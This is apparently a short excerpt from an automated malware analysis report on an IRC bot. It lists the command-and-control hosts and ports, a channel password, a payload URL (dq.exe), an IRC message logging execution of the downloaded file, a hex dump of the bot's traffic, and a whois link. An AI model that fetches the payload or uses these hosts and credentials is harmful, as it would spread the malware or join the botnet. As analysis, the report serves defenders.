Remote Host Port Number
209.200.50.75 3800 PASS hax0r
213.251.170.52 80
91.200.241.40 80
* The data identified by the following URLs was then requested from the remote web server:
o http://api.wipmania.com/
o http://91.200.241.40/dq.exe
PRIVMSG #dpi :[d=”http://91.200.241.40/dq.exe” s=”23552 bytes”] Executed file “C:Documents and SettingsUserNameApplication Data1.tmp” – Download retries: 0
PASS hax0r..KCIK
00000010 | 206E 7B55 537C 5850 617D 6D69 696D 6567 | n{US|XPa}miimeg
00000020 | 740D 0A52 5353 5220 6D69 696D 6567 7420 | t..RSSR miimegt
00000030 | 3020 3020 3A6D 6969 6D65 6774 0D0A 5345 | 0 0 :miimegt..SE
00000040 | 4E44 2023 6E67 206E 6730 300D 0A | ND #ng ng00..
hosting infos:
http://whois.domaintools.com/209.200.50.75